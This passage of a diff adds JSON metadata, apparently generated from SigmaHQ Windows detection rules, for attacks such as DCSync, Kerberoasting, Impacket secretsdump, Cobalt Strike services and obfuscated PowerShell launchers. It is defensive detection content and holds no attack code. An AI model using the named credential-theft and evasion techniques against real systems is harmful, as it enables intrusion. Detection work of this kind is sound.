"https://threathunterplaybook.com/notebooks/windows/05_defense_evasion/WIN-190101151110.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_ad_object_writedac_access.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1222.001" + ] + }, + "uuid": "028c7842-4243-41cd-be6f-12f3cf1a26c7", + "value": "AD Object WriteDAC Access" + }, + { + "description": "Detects potential abuse of Active Directory Replication Service (ADRS) from a non machine account to request credentials.", + "meta": { + "author": "Roberto Rodriguez @Cyb3rWard0g", + "creation_date": "2019/07/26", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_ad_replication_non_machine_account.yml", + "level": "critical", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-180815210510.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_ad_replication_non_machine_account.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.006" + ] + }, + "uuid": "17d619c1-e020-4347-957e-1d1207455c93", + "value": "Active Directory Replication from Non Machine Account" + }, + { + "description": "Detects access to a domain user from a non-machine account", + "meta": { + "author": "Maxime Thiebaut (@0xThiebaut)", + "creation_date": "2020/03/30", + "falsepositive": [ + "Administrators configuring new users." + ], + "filename": "win_security_ad_user_enumeration.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf", + "http://www.stuffithoughtiknew.com/2019/02/detecting-bloodhound.html", + "https://docs.microsoft.com/en-us/windows/win32/adschema/attributes-all", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_ad_user_enumeration.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087.002" + ] + }, + "uuid": "ab6bffca-beff-4baa-af11-6733f296d57a", + "value": "AD User Enumeration" + }, + { + "description": "Detects scenario where if a user is assigned the SeEnableDelegationPrivilege right in Active Directory it would allow control of other AD user objects.", + "meta": { + "author": "@neu5ron", + "creation_date": "2017/07/30", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_alert_active_directory_user_control.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_active_directory_user_control.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ] + }, + "uuid": "311b6ce2-7890-4383-a8c2-663a9f6b43cd", + "value": "Enabled User Right in AD to Control User Objects" + }, + { + "description": "Detects scenarios where one can control another users or computers account without having to use their credentials.", + "meta": { + "author": "@neu5ron", + "creation_date": "2017/04/13", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_alert_ad_user_backdoors.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://msdn.microsoft.com/en-us/library/cc220234.aspx", + "https://adsecurity.org/?p=3466", + "https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_ad_user_backdoors.yml" + ], + "tags": [ + "attack.t1098", + "attack.persistence" + ] + }, + "uuid": "300bac00-e041-4ee2-9c36-e262656a6ecc", + "value": "Active Directory User Backdoors" + }, + { + "description": "Detects scenario where weak encryption is enabled for a user profile which could be used for hash/password cracking.", + "meta": { + "author": "@neu5ron", + "creation_date": "2017/07/30", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_alert_enable_weak_encryption.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://adsecurity.org/?p=2053", + "https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_enable_weak_encryption.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "f6de9536-0441-4b3f-a646-f4e00f300ffd", + "value": "Weak Encryption Enabled and Kerberoast" + }, + { + "description": "This events that are generated when using the hacktool Ruler by Sensepost", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/05/31", + "falsepositive": [ + "Go utilities that use staaldraad awesome NTLM library" + ], + "filename": "win_security_alert_ruler.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/sensepost/ruler", + "https://github.com/sensepost/ruler/issues/47", + "https://github.com/staaldraad/go-ntlm/blob/cd032d41aa8ce5751c07cb7945400c0f5c81e2eb/ntlm/ntlmv1.go#L427", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4776", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4624", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_ruler.yml" + ], + "tags": [ + "attack.discovery", + "attack.execution", + "attack.t1087", + "attack.t1114", + "attack.t1059", + "attack.t1550.002" + ] + }, + "uuid": "24549159-ac1b-479c-8175-d42aea947cae", + "value": "Hacktool Ruler" + }, + { + "description": "Detects Chafer activity attributed to OilRig as reported in Nyotron report in March 2018", + "meta": { + "author": "Florian Roth, Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", + "creation_date": "2018/03/23", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_apt_chafer_mar18_security.yml", + "level": "critical", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://nyotron.com/nyotron-discovers-next-generation-oilrig-attacks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_apt_chafer_mar18_security.yml" + ], + "tags": [ + "attack.persistence", + "attack.g0049", + "attack.t1053.005", + "attack.s0111", + "attack.t1543.003", + "attack.defense_evasion", + "attack.t1112", + "attack.command_and_control", + "attack.t1071.004" + ] + }, + "uuid": "c0580559-a6bd-4ef6-b9b7-83703d98b561", + "value": "Chafer Activity" + }, + { + "description": "Detects the deactivation and disabling of the Scheduled defragmentation task as seen by Slingshot APT group", + "meta": { + "author": "Florian Roth, Bartlomiej Czyz (@bczyz1)", + "creation_date": "2019/03/04", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_apt_slingshot.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://securelist.com/apt-slingshot/84312/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_apt_slingshot.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1053", + "attack.s0111" + ] + }, + "uuid": "c5a178bf-9cfb-4340-b584-e4df39b6a3e7", + "value": "Defrag Deactivation" + }, + { + "description": "Detects activity mentioned in Operation Wocao report", + "meta": { + "author": "Florian Roth, frack113", + "creation_date": "2019/12/20", + "falsepositive": [ + "Administrators that use checkadmin.exe tool to enumerate local administrators" + ], + "filename": "win_security_apt_wocao.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/", + "https://twitter.com/SBousseaden/status/1207671369963646976", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_apt_wocao.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1012", + "attack.defense_evasion", + "attack.t1036.004", + "attack.t1027", + "attack.execution", + "attack.t1053.005", + "attack.t1059.001" + ] + }, + "uuid": "74ad4314-482e-4c3e-b237-3f7ed3b9ca8d", + "value": "Operation Wocao Activity" + }, + { + "description": "Detects remote task creation via at.exe or API interacting with ATSVC namedpipe", + "meta": { + "author": "Samir Bousseaden", + "creation_date": "2019/04/03", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_atsvc_task.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://blog.menasec.net/2019/03/threat-hunting-25-scheduled-tasks-for.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_atsvc_task.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.persistence", + "car.2013-05-004", + "car.2015-04-001", + "attack.t1053.002" + ] + }, + "uuid": "f6de6525-4509-495a-8a82-1f8b0ed73a00", + "value": "Remote Task Creation via ATSVC Named Pipe" + }, + { + "description": "Potential adversaries accessing the microphone and webcam in an endpoint.", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "creation_date": "2020/06/07", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_camera_microphone_access.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/duzvik/status/1269671601852813320", + "https://medium.com/@7a616368/can-you-track-processes-accessing-the-camera-and-microphone-7e6885b37072", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_camera_microphone_access.yml" + ], + "tags": [ + "attack.collection", + "attack.t1123" + ] + }, + "uuid": "8cd538a4-62d5-4e83-810b-12d41e428d6e", + "value": "Processes Accessing the Microphone and Webcam" + }, + { + "description": "Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement", + "meta": { + "author": "Florian Roth, Wojciech Lesicki", + "creation_date": "2021/05/26", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_cobaltstrike_service_installs.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.sans.org/webcasts/119395", + "https://www.crowdstrike.com/blog/getting-the-bacon-from-cobalt-strike-beacon/", + "https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_cobaltstrike_service_installs.yml" + ], + "tags": [ + "attack.execution", + "attack.privilege_escalation", + "attack.lateral_movement", + "attack.t1021.002", + "attack.t1543.003", + "attack.t1569.002" + ] + }, + "uuid": "d7a95147-145f-4678-b85d-d1ff4a3bb3f6", + "value": "CobaltStrike Service Installations" + }, + { + "description": "Detects the use of the spoolss named pipe over SMB. This can be used to trigger the authentication via NTLM of any machine that has the spoolservice enabled.", + "meta": { + "author": "OTR (Open Threat Research)", + "creation_date": "2018/11/28", + "falsepositive": [ + "Domain Controllers acting as printer servers too? :)" + ], + "filename": "win_security_dce_rpc_smb_spoolss_named_pipe.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1", + "https://dirkjanm.io/a-different-way-of-abusing-zerologon/", + "https://twitter.com/_dirkjan/status/1309214379003588608", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dce_rpc_smb_spoolss_named_pipe.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002" + ] + }, + "uuid": "214e8f95-100a-4e04-bb31-ef6cba8ce07e", + "value": "DCERPC SMB Spoolss Named Pipe" + }, + { + "description": "Detects a threat actor creating a file named `iertutil.dll` in the `C:\\Program Files\\Internet Explorer\\` directory over the network for a DCOM InternetExplorer DLL Hijack scenario.", + "meta": { + "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR)", + "creation_date": "2020/10/12", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_dcom_iertutil_dll_hijack.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-201009183000.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dcom_iertutil_dll_hijack.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002", + "attack.t1021.003" + ] + }, + "uuid": "c39f0c81-7348-4965-ab27-2fde35a1b641", + "value": "T1021 DCOM InternetExplorer.Application Iertutil DLL Hijack" + }, + { + "description": "Detects Mimikatz DC sync security events", + "meta": { + "author": "Benjamin Delpy, Florian Roth, Scott Dermott, Sorina Ionescu", + "creation_date": "2018/06/03", + "falsepositive": [ + "Valid DC Sync that is not covered by the filters; please report", + "Local Domain Admin account used for Azure AD Connect" + ], + "filename": "win_security_dcsync.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/gentilkiwi/status/1003236624925413376", + "https://gist.github.com/gentilkiwi/dcc132457408cf11ad2061340dcb53c2", + "https://blog.blacklanternsecurity.com/p/detecting-dcsync?s=r", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dcsync.yml" + ], + "tags": [ + "attack.credential_access", + "attack.s0002", + "attack.t1003.006" + ] + }, + "uuid": "611eab06-a145-4dfa-a295-3ccc5c20f59a", + "value": "Mimikatz DC Sync" + }, + { + "description": "Detects scenarios where an windows defender exclusion was added in registry where an entity would want to bypass antivirus scanning from windows defender", + "meta": { + "author": "@BarryShooshooga", + "creation_date": "2019/10/26", + "falsepositive": [ + "Intended inclusions by administrator" + ], + "filename": "win_security_defender_bypass.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_defender_bypass.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "e9c8808f-4cfb-4ba9-97d4-e5f3beaa244d", + "value": "Windows Defender Exclusion Set" + }, + { + "description": "Detects an installation of a device that is forbidden by the system policy", + "meta": { + "author": "frack113", + "creation_date": "2022/10/14", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_device_installation_blocked.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", + "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-6423", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_device_installation_blocked.yml" + ], + "tags": "No established tags" + }, + "uuid": "c9eb55c3-b468-40ab-9089-db2862e42137", + "value": "Device Installation Blocked" + }, + { + "description": "Detects the default \"UserName\" used by the DiagTrackEoP POC", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/03", + "falsepositive": [ + "Unlikely" + ], + "filename": "win_security_diagtrack_eop_default_login_username.yml", + "level": "critical", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/Wh04m1001/DiagTrackEoP/blob/3a2fc99c9700623eb7dc7d4b5f314fd9ce5ef51f/main.cpp#L46", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_diagtrack_eop_default_login_username.yml" + ], + "tags": [ + "attack.privilege_escalation" + ] + }, + "uuid": "2111118f-7e46-4fc8-974a-59fd8ec95196", + "value": "DiagTrackEoP Default Login Username" + }, + { + "description": "Detects scenarios where system auditing (ie: windows event log auditing) is disabled.\nThis may be used in a scenario where an entity would want to bypass local logging to evade detection when windows event logging is enabled and reviewed.\nAlso, it is recommended to turn off \"Local Group Policy Object Processing\" via GPO, which will make sure that Active Directory GPOs take precedence over local/edited computer policies via something such as \"gpedit.msc\".\nPlease note, that disabling \"Local Group Policy Object Processing\" may cause an issue in scenarios of one off specific GPO modifications -- however it is recommended to perform these modifications in Active Directory anyways.\n", + "meta": { + "author": "@neu5ron", + "creation_date": "2017/11/19", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_disable_event_logging.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://bit.ly/WinLogsZero2Hero", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_disable_event_logging.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.002" + ] + }, + "uuid": "69aeb277-f15f-4d2d-b32a-55e883609563", + "value": "Disabling Windows Event Auditing" + }, + { + "description": "Detects tools extracting LSA secret DPAPI domain backup key from Domain Controllers", + "meta": { + "author": "Roberto Rodriguez @Cyb3rWard0g", + "creation_date": "2019/06/20", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_dpapi_domain_backupkey_extraction.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-190620024610.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dpapi_domain_backupkey_extraction.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.004" + ] + }, + "uuid": "4ac1f50b-3bd0-4968-902d-868b4647937e", + "value": "DPAPI Domain Backup Key Extraction" + }, + { + "description": "Detects anyone attempting a backup for the DPAPI Master Key. This events gets generated at the source and not the Domain Controller.", + "meta": { + "author": "Roberto Rodriguez @Cyb3rWard0g", + "creation_date": "2019/08/10", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_dpapi_domain_masterkey_backup_attempt.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-190620024610.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dpapi_domain_masterkey_backup_attempt.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.004" + ] + }, + "uuid": "39a94fd1-8c9a-4ff6-bf22-c058762f8014", + "value": "DPAPI Domain Master Key Backup Attempt" + }, + { + "description": "Potential adversaries stopping ETW providers recording loaded .NET assemblies.", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "creation_date": "2020/06/05", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_etw_modification.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/_xpn_/status/1268712093928378368", + "https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr", + "https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables", + "https://github.com/dotnet/runtime/blob/f62e93416a1799aecc6b0947adad55a0d9870732/src/coreclr/src/inc/clrconfigvalues.h#L35-L38", + "https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39", + "https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_", + "https://bunnyinside.com/?term=f71e8cb9c76a", + "http://managed670.rssing.com/chan-5590147/all_p1.html", + "https://github.com/dotnet/runtime/blob/4f9ae42d861fcb4be2fcd5d3d55d5f227d30e723/docs/coding-guidelines/clr-jit-coding-conventions.md#1412-disabling-code", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_etw_modification.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ] + }, + "uuid": "a4c90ea1-2634-4ca0-adbb-35eae169b6fc", + "value": "COMPlus_ETWEnabled Registry Modification" + }, + { + "description": "Checks for event id 1102 which indicates the security event log was cleared.", + "meta": { + "author": "Saw Winn Naung", + "creation_date": "2021/08/15", + "falsepositive": [ + "Legitimate administrative activity" + ], + "filename": "win_security_event_log_cleared.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/Azure/Azure-Sentinel/blob/f99542b94afe0ad2f19a82cc08262e7ac8e1428e/Detections/SecurityEvent/SecurityEventLogCleared.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_event_log_cleared.yml" + ], + "tags": [ + "attack.t1070.001" + ] + }, + "uuid": "a122ac13-daf8-4175-83a2-72c387be339d", + "value": "Security Event Log Cleared" + }, + { + "description": "Detects remote printer driver load from Detailed File Share in Security logs that are a sign of successful exploitation attempts against print spooler vulnerability CVE-2021-1675 and CVE-2021-34527", + "meta": { + "author": "INIT_6", + "creation_date": "2021/07/02", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_exploit_cve_2021_1675_printspooler_security.yml", + "level": "critical", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/INIT_3/status/1410662463641731075", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_exploit_cve_2021_1675_printspooler_security.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569", + "cve.2021.1675", + "cve.2021.34527" + ] + }, + "uuid": "8fe1c584-ee61-444b-be21-e9054b229694", + "value": "CVE-2021-1675 Print Spooler Exploitation IPC Access" + }, + { + "description": "Detects external diskdrives or plugged in USB devices , EventID 6416 on windows 10 or later", + "meta": { + "author": "Keith Wright", + "creation_date": "2019/11/20", + "falsepositive": [ + "Legitimate administrative activity" + ], + "filename": "win_security_external_device.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_external_device.yml" + ], + "tags": [ + "attack.t1091", + "attack.t1200", + "attack.lateral_movement", + "attack.initial_access" + ] + }, + "uuid": "f69a87ea-955e-4fb4-adb2-bb9fd6685632", + "value": "External Disk Drive Or USB Storage Device" + }, + { + "description": "Detects enumeration of the global catalog (that can be performed using BloodHound or others AD reconnaissance tools). Adjust Threshold according to domain width.", + "meta": { + "author": "Chakib Gzenayi (@Chak092), Hosni Mribah", + "creation_date": "2020/05/11", + "falsepositive": [ + "Exclude known DCs." + ], + "filename": "win_security_global_catalog_enumeration.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5156", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_global_catalog_enumeration.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087.002" + ] + }, + "uuid": "619b020f-0fd7-4f23-87db-3f51ef837a34", + "value": "Enumeration via the Global Catalog" + }, + { + "description": "Detect lateral movement using GPO scheduled task, usually used to deploy ransomware at scale", + "meta": { + "author": "Samir Bousseaden", + "creation_date": "2019/04/03", + "falsepositive": [ + "If the source IP is not localhost then it's super suspicious, better to monitor both local and remote changes to GPO scheduledtasks" + ], + "filename": "win_security_gpo_scheduledtasks.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/menasec1/status/1106899890377052160", + "https://www.secureworks.com/blog/ransomware-as-a-distraction", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_gpo_scheduledtasks.yml" + ], + "tags": [ + "attack.persistence", + "attack.lateral_movement", + "attack.t1053.005" + ] + }, + "uuid": "a8f29a7b-b137-4446-80a0-b804272f3da2", + "value": "Persistence and Execution at Scale via GPO Scheduled Task" + }, + { + "description": "Detects the creation of a local hidden user account which should not happen for event ID 4720.", + "meta": { + "author": "Christian Burkard", + "creation_date": "2021/05/03", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_hidden_user_creation.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/SBousseaden/status/1387743867663958021", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_hidden_user_creation.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1136.001" + ] + }, + "uuid": "7b449a5e-1db5-4dd0-a2dc-4e3a67282538", + "value": "Hidden Local User Creation" + }, + { + "description": "Rule to detect the Hybrid Connection Manager service installation.", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "creation_date": "2021/04/12", + "falsepositive": [ + "Legitimate use of Hybrid Connection Manager via Azure function apps." + ], + "filename": "win_security_hybridconnectionmgr_svc_installation.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/Cyb3rWard0g/status/1381642789369286662", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_hybridconnectionmgr_svc_installation.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1554" + ] + }, + "uuid": "0ee4d8a5-4e67-4faf-acfa-62a78457d1f2", + "value": "HybridConnectionManager Service Installation" + }, + { + "description": "Detects execution of Impacket's psexec.py.", + "meta": { + "author": "Bhabesh Raj", + "creation_date": "2020/12/14", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_impacket_psexec.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://blog.menasec.net/2019/02/threat-hunting-3-detecting-psexec.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_impacket_psexec.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002" + ] + }, + "uuid": "32d56ea1-417f-44ff-822b-882873f5f43b", + "value": "Impacket PsExec Execution" + }, + { + "description": "Detect AD credential dumping using impacket secretdump HKTL", + "meta": { + "author": "Samir Bousseaden, wagga", + "creation_date": "2019/04/03", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_impacket_secretdump.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://blog.menasec.net/2019/02/threat-huting-10-impacketsecretdump.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_impacket_secretdump.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002", + "attack.t1003.004", + "attack.t1003.003" + ] + }, + "uuid": "252902e3-5830-4cf6-bf21-c22083dfd5cf", + "value": "Possible Impacket SecretDump Remote Activity" + }, + { + "description": "Detects Obfuscated use of Clip.exe to execute PowerShell", + "meta": { + "author": "Jonathan Cheong, oscd.community", + "creation_date": "2020/10/13", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_invoke_obfuscation_clip_services_security.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_clip_services_security.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "4edf51e1-cb83-4e1a-bc39-800e396068e3", + "value": "Invoke-Obfuscation CLIP+ Launcher" + }, + { + "description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block linked in the references", + "meta": { + "author": "Daniel Bohannon (@Mandiant/@FireEye), oscd.community", + "creation_date": "2019/11/08", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_invoke_obfuscation_obfuscated_iex_services_security.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_obfuscated_iex_services_security.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027" + ] + }, + "uuid": "fd0f5778-d3cb-4c9a-9695-66759d04702a", + "value": "Invoke-Obfuscation Obfuscated IEX Invocation" + }, + { + "description": "Detects Obfuscated use of stdin to execute PowerShell", + "meta": { + "author": "Jonathan Cheong, oscd.community", + "creation_date": "2020/10/15", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_invoke_obfuscation_stdin_services_security.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_stdin_services_security.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "0c718a5e-4284-4fb9-b4d9-b9a50b3a1974", + "value": "Invoke-Obfuscation STDIN+ Launcher" + }, + { + "description": "Detects Obfuscated use of Environment Variables to execute PowerShell", + "meta": { + "author": "Jonathan Cheong, oscd.community", + "creation_date": "2020/10/15", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_invoke_obfuscation_var_services_security.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_var_services_security.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "dcf2db1f-f091-425b-a821-c05875b8925a", + "value": "Invoke-Obfuscation VAR+ Launcher" + }, + { + "description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION", + "meta": { + "author": "Timur Zinniatullin, oscd.community", + "creation_date": "2020/10/18", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_invoke_obfuscation_via_compress_services_security.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_compress_services_security.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": 